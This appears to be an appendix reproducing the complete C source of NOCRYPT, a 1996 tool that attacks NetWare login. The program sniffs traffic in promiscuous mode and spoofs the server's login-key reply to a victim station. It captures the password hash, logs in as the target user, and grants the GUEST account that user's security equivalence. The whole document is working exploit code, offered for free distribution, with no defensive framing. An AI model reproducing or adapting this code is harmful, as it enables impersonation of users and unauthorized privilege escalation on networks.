|
A-03. Source code to NOCRYPT
Greg's comments are in the source code file, but see Appendix A-04 for more information.
/*This program was written and released on September 27, 1996 by Greg Miller*/ /*NOCRYPT.C This program allows an attacker to masquerade as a user whithout knowing the user's password. For more information on using the program see NOCRYPT.DOC. For more information on how the attack works, see ATTACK.DOC */ /*(C) 1996 by Greg Miller*/ /*Distribute freely*/ #include<
stdio.h>
#include<
string.h>
#define TRUE -1 #define FALSE 0 #define PACKET_TYPE 19 #define FUNCTION_CODE 50 #define SUBFUNC_CODE 53 #define KEY_OFFSET 54 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; BYTE username[20] = "GUEST"; //user to gain rights BYTE membername[20] = "GMILLER"; //user rights to gain BYTE server_network[4] = {0,0,0,15}; //server INTERNAL net BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05}; //closest router addr BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe}; //0000 won't work BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83}; //my address BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //addr to spoof BYTE my_seq_no = 1; BYTE my_con_no; BYTE login_key[8]; int DataRemaining = TRUE; int x; BYTE packet[2000]; BYTE SendPacket[2000]; BYTE to_server[100]; WORD handle; int packet_received = FALSE; int NotDone = TRUE; int c; WORD pktlen; WORD Sendpktlen; WORD to_server_len; void Initialize(){ } static void far PacketReceived(){ /*This function is called by the packet driver when a packet is received. If AX=0 when the function is called, the packet driver is asking for a buffer to put the packet in. If AX=1 then the packet has been copied into the buffer. */ _asm{ pop di //Borland C 3.1 pushes DI for some reason. //Remove this line if your compiler doesn't. cmp ax,1 //ax=0 for get buffer or 1 when done jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //buffer length retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*This function registers the "protocol stack" with the packet driver. We give it the address of the function to call when a packet is received in ES:DI, the interface class in AL, and the interface type in BX. DS:SI should point to the type of packets to receive, with the length of the type in CX, however, we'll just receive any type of packet so we leave DS:SI alone and make CX=0. We get a handle back from the INT 60h call in AX, we'll store it for later use. */ _asm { pusha mov bx,0ffffh //Wild card for all interfaces mov dl,0 mov cx,0 //receive any type of packet mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //class type for 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface */ /*Release Type*/ _asm{ pusha mov ah,3 mov bx,handle int 60h jc err } /*Terminate driver for handle*/ _asm{ mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void SetReceiveMode(WORD mode){ /*This function puts the board in the specified mode by putting the receive mode in CX and the handle in BX. Mode 6 is promiscuous and mode 2 is normal. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,mode int 60h jc err popa } printf("Mode set to %d\r\n",mode); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } // printf("Sending:\r\n"); // for(c=0;c<
pktlen;c++){printhex(packet[c]);} // printf("\r\n"); return; err: printf("Error sending packet: %d\r\n",_DH); _asm{popa} } void SendEncryptionKeyReply(){ memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr //Put 802.3 length here. SendPacket[12]=00; SendPacket[13]=0x2e; memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum SendPacket[16]=0;SendPacket[17]=0x2e; //IPX Length SendPacket[18]=1; //Hop Count SendPacket[19]=17; //Packet type = NCP SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type memcpy(SendPacket+46,packet+46,4); //Seq num,con num,task,con num hi SendPacket[50]=0; //Completion code SendPacket[51]=0; //Connection Status memcpy(SendPacket+52,login_key,8); //Key Sendpktlen = 60; // printf("Spoofing Encryption Key Reply\r\n"); SendPack(); } void WaitForPacket(){ while(!packet_received){ } // for(c=0;c<
pktlen;c++){printhex(packet[c]);} // printf("\r\n"); packet_received=FALSE; } void WaitForStationLoginRequest(){ /*Discard first GetLoginKey()*/ while(NotDone){ WaitForPacket(); if((memcmp(packet+6,SpoofStation,6)==0) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==23)){ NotDone = FALSE; } } WaitForPacket(); /*Wait for login key request and spoof it*/ NotDone=TRUE; while(NotDone){ WaitForPacket(); if((memcmp(packet+6,SpoofStation,6)==0) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==23)){ NotDone = FALSE; } } SendEncryptionKeyReply(); /*Wait for login request and pull hash out*/ NotDone = TRUE; while(NotDone){ WaitForPacket(); if((memcmp(packet+6,SpoofStation,6)==0) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==24)){ NotDone = FALSE; } } memcpy(login_key,packet+KEY_OFFSET,8); printf("Hash Received\r\n"); for(c=0;c<
8;c++){printhex(login_key[c]);} printf("\r\n"); } void SendToServer(){ _asm{ pusha mov ax,seg to_server mov ds,ax lea si,to_server mov cx,to_server_len mov ah,04 int 60h jc err popa } // printf("Sending:\r\n"); // for(c=0;c<
to_server_len;c++){printhex(to_server[c]);} // printf("\r\n"); return; err: printf("Error sending packet: %d\r\n",_DH); _asm{popa} printf("Sending packet\r\n"); } void InitializePacket(){ memcpy(to_server,server_addr,6);//803.3 dest memcpy(to_server+6,my_addr,6); //802.3 source //802.3 length to_server[14] = 0xff; to_server[15]= 0xff; //ipx length to_server[18] = 0; //hop count to_server[19] = 17; //packet type memcpy(to_server+20,server_network,4); to_server[24] = 0; to_server[25] = 0; to_server[26] = 0; to_server[27] = 0; to_server[28] = 0; to_server[29] = 1; to_server[30] = 0x04; to_server[31] = 0x51; memcpy(to_server+32,my_network,4); memcpy(to_server+36,my_addr,6); to_server[42]=0x40; to_server[43]=0x05; } void AttachToServer(){ to_server[44] = 0x11; to_server[45]= 0x11; //request type to_server[46] = 0; //sequence no. to_server[47] = 0xff; //connection no. to_server[12]=0; to_server[13]=38; //802.3 length to_server[16]=0; to_server[17]=37; //ipx length to_server_len=48; SendToServer(); } int GetConNumber(){ while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==0))){} if(packet[51]==0){ my_con_no=packet[47]; printf("Connected on con %d\r\n",my_con_no); } else { printf("Error connecting %d\r\n",packet[51]); } return -1; } void RequestLoginKey(){ to_server[12]=0; to_server[13]=40; //802.3 len to_server[16]=0; to_server[17]=40; //IPX len to_server[44]=0x22; to_server[45]=0x22; //request type; to_server[46]=my_seq_no; //sequence no. to_server[47]=my_con_no; //connection no. to_server[48]=1; //tast no. to_server[49]=0; //conn no high to_server[50]=23; //func code to_server[51]=0; to_server[52]=1; //subfunc len to_server[53]=23; //subfunc code to_server_len=54; SendToServer(); } int GetLoginKey(){ int x; while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){} if(packet[50]==0){ memcpy(login_key,packet+52,8); printf("Retreived login key"); for(x=0;x<8;x++){printf(" %d",login_key[x]);} printf("\r\n"); } else { printf("Error getting login key %d\r\n",packet[50]); } my_seq_no++; return -1; } /*----------------------------- void WaitForLoginRequest(){ while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) && (packet[45]==0x22) && (packet[50]==23) && (packet[53]==23))){} } ------------------------------- void SpoofKeyReply(){ memcpy(send_packet,packet+6,6); memcpy(send_packet+6,packet,6); send_packet[12]=0; send_packet[13]=46; send_packet[14]=0xFF; send_packet[15]=0xFF; send_packet[16]=0; send_packet[17]=46; send_packet[18]=0; send_packet[19]=17; memcpy(send_packet+20,packet+31,12); memcpy(send_packet+32,packet+19,12); send_packet[44]=0x33; send_packet[45]=0x33; memcpy(send_packet+46,packet+46,4); send_packet[50]=0; send_packet[51]=0; memcpy(send_packet+52,login_key,8); SendPacket(); } ------------------------------- void WaitForKeyedLoginRequest(){ int x; while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) && (packet[45]==0x22) && (packet[50]==23) && (packet[53]==24))){} memcpy(login_key,packet+54,8); printf("Got spoofed login key reply:"); for(x=0;x<
7,x++) printf(" %d",login_key[x]); printf("\r\n"); } -------------------------------*/ void RequestKeyedLogin(){ BYTE objlen; objlen=strlen(membername); to_server[12]=0; to_server[13]=51+objlen; //802.3 len to_server[16]=0; to_server[17]=51+objlen; //ipx len to_server[44]=0x22; to_server[45]=0x22; //request type; to_server[46]=my_seq_no; //sequence no. to_server[47]=my_con_no; //connection no. to_server[48]=1; //tast no. to_server[49]=0; //conn no high to_server[50]=23; //func code to_server[51]=0; to_server[52]=12+objlen; //subfunc len to_server[53]=24; //subfunc code memcpy(to_server+54,login_key,8); //login key to_server[62]=0; to_server[63]=1; //object type to_server[64]=objlen; //object length memcpy(to_server+65,membername,objlen); //object name to_server_len=65+objlen; SendToServer(); } int GetKeyedLoginResults(){ while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){} if(packet[50]==0){ memcpy(login_key,packet+52,8); printf("Logged in\r\n"); } else { printf("Error logging in %d\r\n",packet[50]); } my_seq_no++; return -1; } void GrantRights(){ BYTE objlen; BYTE memlen; objlen = strlen(username); memlen = strlen(membername); to_server[16]=0; to_server[17]=62+objlen+memlen;//IPX_len to_server[12]=0; to_server[13]=to_server[17]; //802.3 len to_server[44]=0x22;to_server[45]=0x22; //Request type to_server[46]=my_seq_no; //Sequence No. to_server[47]=my_con_no; //connection no. to_server[48]=1; //Task no. to_server[49]=0; //conn no. high to_server[50]=23; //func code to_server[51]=0; to_server[52]=23+objlen+memlen;//subfun len to_server[53]=65; //subfun code to_server[54]=00; to_server[55]=1; //Object type to_server[56]=objlen; //object len memcpy(to_server+57,username,objlen); //object name to_server[57+objlen]=15; //property len memcpy(to_server+58+objlen,"SECURITY_EQUALS",15);//propertly name to_server[73+objlen]=0; to_server[74+objlen]=1; //member type to_server[75+objlen]=memlen; //member length memcpy(to_server+76+objlen,membername,memlen); //member name printf("sublen %d\r\n",to_server[51]); to_server_len=80+objlen+memlen; for(x=0;x<
100;x++) SendToServer(); } void main(){ Initialize(); RegisterWithPKTDRV(); InitializePacket(); AttachToServer(); GetConNumber(); RequestLoginKey(); GetLoginKey(); SetReceiveMode(6); //Promiscuous mode WaitForStationLoginRequest(); SetReceiveMode(2); //Normal mode RequestKeyedLogin(); GetKeyedLoginResults(); GrantRights(); RelinquishProtocolStack(); }